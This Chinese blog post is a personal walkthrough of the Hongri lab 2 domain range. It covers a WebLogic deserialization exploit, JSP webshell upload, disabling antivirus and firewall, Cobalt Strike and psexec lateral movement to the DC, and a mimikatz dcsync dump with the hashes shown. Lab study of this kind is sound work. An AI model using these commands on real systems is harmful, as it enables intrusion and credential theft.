当前位置： 首页 > article >正文

红日靶场（二）——个人笔记

article 2025/3/20 12:46:16

image.png

靶场搭建

新增VMnet2网卡
image.png
**web：**需要配置两张网卡，分别是外网出访NAT模式和内网域环境仅主机模式下的VMnet2网卡。
image.png

**PC：**跟web一样，也是需要配置两张网卡，分别是外网出访NAT模式和内网域环境仅主机模式下的VMnet2网卡。
image.png
**DC：**只是内网网段，所以只需配置仅主机模式
image.png
靶场的web和pc网关是192.168.111.1，网关设置为192.168.111.2，需要把外网nat网关改为.2。

账号：administrator

密码：1qaz@WSX
image.png
image.png

在web服务器上启动weblogic服务，用管理员权限administrator/1qaz@WSX打开startweblogic。
使用管理员模式依次执行脚本
路径C:\Oracle\Middleware\user_projects\domains\base_domain\bin
image.png

浏览器访问http://192.168.111.80:7001，看到Error 404即启动成功，靶场搭建完成。
Weblogic登录界面：http://192.168.111.80:7001/console

至此，环境搭建完成

外网探测

Oracle WebLogic Server的登录页面
image.png
系统版本：
WebLogic Server 版本: 10.3.6.0

思路：测试弱口令，测试SQL，找历史版本CVE打，抓包分析

弱口令没有成功
尝试sqlmap没有成功

python sqlmap.py -r F:\1.txt -p j_password --dbs

尝试找历史CVE打：weblogic_10.3.6_unserialize _CVE-2017-10271

在这之前，先进行一下简单的目录扫描和端口扫描

nmap -Pn -sT 192.168.111.80
dirsearch -u http://192.168.111.80:7001/

image.png

使用weblogic漏洞扫描工具打CVE

验证存在漏洞
image.png

发现可以任意命令执行，且为administrator用户权限
image.png

思路：
这里我注意到网页的url可以查看图片位置，在这里或许可以尝试上传图片马

image.png

上传shell
image.png
但是并没有上传成功
image.png
查阅后，可以通过上传jsp马拿shell
尝试访问http://192.168.111.80:7001/uddiexplorer/
右上角图片新建窗口打开，复制url

http://192.168.111.80:7001/uddiexplorer/oracle_logo.gif

image.png
复制图片文件名，在weblogic中查找位置：

find / -name "oracle_logo.gif"

利用失败，windows系统，尝试使用windows命令搜索（我犯病了，自己搭的windows靶机用Linux命令………………）

dir /s /b oracle_logo.gif

找到文件位置：
image.png

C:\Oracle\Middleware\user_projects\domains\base_domain\servers\AdminServer\tmp\_WL_internal\uddiexplorer\5f6ebw\war\oracle_logo.gif

尝试在这个路径下上传木马
image.png

显示空白，上传成功！
image.png

尝试远程连接，连接失败，尝试哥斯拉上传jsp木马
生成jsp木马：
image.png
image.png

上传成功，尝试godzilla远程连接
image.png

连接成功！：
image.png

至此，拿到入口机shell

打入内网

已经拿到shell
这里乱码问题没解决，用蚁剑连接(最后还是用哥斯拉上传的jsp木马用蚁剑连接)
image.png

但是无法执行net view ,可能现在拿到的不是域内用户
执行ipconfig /all
可以发现主机有俩张网卡，10.10.10.0/24可能是域内网段
image.png

查看进程，可以发现有360的杀毒软件（这里免杀没学会，直接关掉杀毒软件了……）
image.png

上线CS

这里看到上线的用户为Administrator，并非域内用户。
image.png
尝试用梼杌插件提权

ae614a64356919c925812b7d5c4b6dc.png

提权成功，扫描内网：

ipconfig /all            #查看域，及域内网段
tasklist /svc            #查看进程，检测是否有防火墙
net view                 # 查看局域网内其他主机名
net config Workstation   # 查看计算机名、全名、用户名、系统版本、工作站、域、登录域
net user                 # 查看本机用户列表
net user /domain         # 查看域用户
net localgroup administrators # 查看本地管理员组（通常会有域用户）
net view /domain         # 查看有几个域
net user 用户名 /domain   # 获取指定域用户的信息
net group /domain        # 查看域里面的工作组，查看把用户分了多少组（只能在域控上操作）
net group 组名 /domain    # 查看域中某工作组
net group "domain admins" /domain  # 查看域管理员的名字
net group "domain computers" /domain  # 查看域中的其他主机名
net group "domain controllers" /domain  # 查看域控制器主机名（可能有多台）

image.png

域内用户：“Administrator”“de1ay”“Guest”“krbtgt”“mssql”
image.png

这里看到域中除了域控DC还有PC和已经拿到的WEB机器
image.png

查看域控制器
image.png

信息收集：
内网网段：10.10.10.0/24
外网网段：192.168.111.0/24
域控名：DC
内网机器：PC，WEB

探测域控

Fscan：

fscan -h 10.10.10.0/24 -np -nopoc -nobr

探测内网网段：./fscan -h 10.10.10.0/24 -np -nopoc -nobr -p

image.png

信息收集：
PC：外网ip：192.168.111.201
	内网ip：10.10.10.201
DC：10.10.10.10

DC端口探测：

fscan -h 10.10.10.10 -p 21,22,80,88,135,139,389,443,445,636,1433,3306,3389,5985,6379

image.png

信息收集：
DC开放端口：88，135，139，389，445，636，3389，5985

横向移动

拿下域控

SMB Beacon:

SMB Beacon使用命名管道通过父级Beacon进行通讯，当两个Beacons链接后，子Beacon从父Beacon获取到任务并发送。因为链接的Beacons使用Windows命名管道进行通信，此流量封装在SMB协议中，所以SMB beacon相对隐蔽。SMB beacon不能直接生成可用载荷, 只能使用 psexec 或 Stageless Payload 上线

使用 smb beacon，由一台已经拿到 beacon 的机器，抓取密码后进行smb喷射，得到另一台开放445端口的机器上的administrator账户密码，在目标机器不出网的情况下，可以使用smb beacon使目标主机上线。

简略原理：

假设有三个主机 a b c，我们的C2是a且我们已经有了b的权限，b可以访问c，c也可以访问b但不能访问a
这时候我们就可以使用smb beacon 然主机C上线。(前提是有主机C的账号密码)

使用条件：

- 具有 Beacon 的主机必须接受 445 端口上的连接。
- 只能链接由同一个 Cobalt Strike 实例管理的 Beacon。
- 必须有目标主机的管理员权限或者说是拥有具有管理员权限的凭据。

使用portscan扫描一下内网
image.png

显示targets列表
image.png

新建beacon SMB监听器
image.png

使用psexec上线域控:

46fd163c0066525e084f664b76144c41.png
解释一下我对上面realm的理解：

google：在 Web 安全中，Realm通常指的是一种保护区域，用于区分不同的安全域或资源。
DESKTOP-LANDMRU：独立计算机，不属于任何域，这里应该指PC
WEB：WEB的账户
de1ay.com和de1ay这里我不太清楚，可能是登录域内的机器

image.png

获取ntds.dit文件

在线破解：前提是有管理员权限。

Mimikatz有一个功能（dcsync），它可以利用目录复制服务（Directory Replication Service, DRS）从NTDS.DIT文件中提取密码哈希值。

可以通过dcsync直接获取test域内所有用户hash
lsadump::dcsync /domain:de1ay.com /all /csv

也可以获取单个用户的详细信息  
lsadump::dcsync /domain:de1ay.com /user:kertgt

可以查看所有用户的所有详细信息  
lsadump::lsa /inject

beacon> mimikatz lsadump::dcsync /domain:de1ay.com /all /csv
[*] Tasked beacon to run mimikatz's lsadump::dcsync /domain:de1ay.com /all /csv command
[+] host called home, sent: 813886 bytes
[+] received output:
[DC] 'de1ay.com' will be the domain
[DC] 'DC.de1ay.com' will be the DC server
[DC] Exporting domain 'de1ay.com'
[rpc] Service  : ldap
[rpc] AuthnSvc : GSS_NEGOTIATE (9)
502	krbtgt	82dfc71b72a11ef37d663047bc2088fb	514
1002	DC$	39d74ac4cdd07a6b0855df6e37b6e815	532480
2103	mssql	161cff084477fe596a5db81874498a24	66048
1001	de1ay	161cff084477fe596a5db81874498a24	66048
1603	WEB$	57e157ab6f45290ad8205651dbd27dcb	4096
1105	PC$	ea6b2055e2f4a1c5fc42058fbfc4b2d5	4096
500	Administrator	161cff084477fe596a5db81874498a24	512

总结与反思：

1.有没有方法做免杀绕过360
2.关于关闭防火墙的命令：

shell netsh advfirewall show all state  		  //查看防火墙状态
shell netsh advfirewall set allprofile state off  //关闭防火墙

http://www.kler.cn/a/592570.html

相关文章：

  • HarmonyOS开发，console.log和hilog的区别，如何选择使用？
  • 两矩阵相乘（点乘和乘的区别）
  • Matrix-breakout-2-morpheus靶机实战攻略
  • 算法、数据结构、计算机网络，编译原理，操作系统常考题
  • Node.js系列（4）--微服务架构实践
  • 数据结构之链表（双链表）
  • 如何在 GoLand 中设置默认项目文件夹
  • JAVA中关于图形化界面的学习（GUI）动作监听，鼠标监听，键盘监听
  • SpringBoot项目controller层接收对应格式请求的相关RequestMapping配置
  • Vue3 核心特性解析：Suspense 与 Teleport 原理深度剖析
  • k8s基础资源管理指令
  • 《鸿蒙开发实战：音频录制、文件读取与播放功能全解析》
  • Java 集合框架
  • linux 内核 定时器（timer）
  • AI 是什么？核心概念与发展历程（人工智能的发展、基本概念、机器学习 vs 深度学习）
  • PyCharm 5的Python IDE的功能（附工具下载）
  • sql小记，20250319
  • tab页面切换
  • ansible速查手册
  • defineAsyncComponent和一般的import有什么区别